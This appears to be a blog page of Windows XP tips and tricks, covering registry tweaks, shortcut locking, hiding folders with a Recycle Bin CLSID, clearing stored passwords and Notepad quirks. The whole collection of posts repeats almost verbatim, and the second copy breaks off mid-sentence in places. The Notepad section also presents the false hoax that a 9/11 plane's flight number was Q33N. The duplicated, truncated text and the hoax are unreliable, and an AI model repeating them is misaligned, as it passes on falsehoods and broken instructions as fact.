lock pc just by double clicking mouse
You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.
SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)
Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.
1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)
2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).
Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).
Now your acrobat reader will load very fast
and almost as good as notepad..
Remove Stored username and Passwords !
To remove the Stored User Names and Passwords from your system, try this:
Click Start, Run and type Control keymgr.dll
Remove the entries from the list.
The other ways to access this dialog are:
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords
-or-
From Control Panel, select your User Account, click Manage your network passwords
It Works
~ Cheers ~
*
Remove the Username and picture from Windows XP New Start Menu
The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.
For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures
to something else, say...
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps
Start regedit.exe and navigate to the this key:
HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1
Close Regedit.exe and restart Windows.
You'll end up with a blue space at the top of the Start Menu.
To get back the username and the picture, reverse the above procedure.
For the New Start Menu, Windows XP looks for the.bmp file in the folder
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the.bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu
~ Cheers ~.
Notepad Trick ! for complete list move to NOTEPAD TRICKS page !!
Well quite old but here is d complete collection
Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.
Voilla!!
or
1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.
or
Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...
NOTEPAD "world trade centre trick".. :Rahul
Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.
log trick !! make ur Notepad a diary !!
Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.
WHY?
The reason this happens:
In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.
1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters
~ cheers ~
SPEED UP MENU DISPLAY.!!
When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.
Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.
Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.
Right on it and select Modify.
Change the value to 0.
Reboot your computer.
CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!
Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.
CD ROM STOPS AUTOPLAYING/AUTORUN.!!
And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".
How to make your Desktop Icons Transparent
Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"
DISPLAY MESSAGE ON STARTUP.
Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart
AUTO DELETE TEMPORARY FOLDER.!!
ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens ur temp folder n den u cal erase it neatly// still try dis one too..
First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.
make ur pdf files to speak
make ur pdf files to speak
here r the shortcuts for hearing pdf files in abobe reader 6.0 or higher
ctrl+shift+b ---->to hear the whole topic
ctrl+shift+v ---->to hear the page
Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.
CTRL-SHIFT-ESC
1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option
2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s
Shutdown Trick !
Imidiate rapid shut down window
while shutting down window. open task manager(Ctr+Alt+Del),
Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.
Speed Up Ur Shut down !!
Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.
Click on the "Control" Folder.
Select "WaitToKillServiceTimeout"
Right click on it and select Modify.
Set it a value lower than 2000 (Mine is set to 200).
and !
Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you
must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.
**new **
Crazy !!
Hide ur folders.. never known trick !!!!!!!!!! Disguise them to "Recycle Bin"
Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
eg,
if u've a folder games
press F2,
then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}"
c the magic....
then 2 get to original form,
remove the extension using
"ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file
n u are done..
~cheers~
System information
system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).
lock pc just by double clicking mouse
You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.
SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)
Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.
1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)
2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).
Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).
Now your acrobat reader will load very fast
and almost as good as notepad..
Remove Stored username and Passwords !
To remove the Stored User Names and Passwords from your system, try this:
Click Start, Run and type Control keymgr.dll
Remove the entries from the list.
The other ways to access this dialog are:
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords
-or-
From Control Panel, select your User Account, click Manage your network passwords
It Works
~ Cheers ~
*
Remove the Username and picture from Windows XP New Start Menu
The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.
For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures
to something else, say...
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps
Start regedit.exe and navigate to the this key:
HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1
Close Regedit.exe and restart Windows.
You'll end up with a blue space at the top of the Start Menu.
To get back the username and the picture, reverse the above procedure.
For the New Start Menu, Windows XP looks for the
C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures
If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the
~ Cheers ~.
Notepad Trick ! for complete list move to NOTEPAD TRICKS page !!
Well quite old but here is d complete collection
Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.
Voilla!!
or
1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.
or
Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...
NOTEPAD "world trade centre trick".. :Rahul
Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.
log trick !! make ur Notepad a diary !!
Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.
WHY?
The reason this happens:
In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.
1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters
~ cheers ~
SPEED UP MENU DISPLAY.!!
When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.
Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.
Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.
Right on it and select Modify.
Change the value to 0.
Reboot your computer.
CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!
Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.
CD ROM STOPS AUTOPLAYING/AUTORUN.!!
And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".
How to make your Desktop Icons Transparent
Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"
DISPLAY MESSAGE ON STARTUP.
Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart
AUTO DELETE TEMPORARY FOLDER.!!
ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens ur temp folder n den u cal erase it neatly// still try dis one too..
First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.
make ur pdf files to speak
make ur pdf files to speak
here r the shortcuts for hearing pdf files in abobe reader 6.0 or higher
ctrl+shift+b ---->to hear the whole topic
ctrl+shift+v ---->to hear the page
Subscribe to:
Posts (Atom)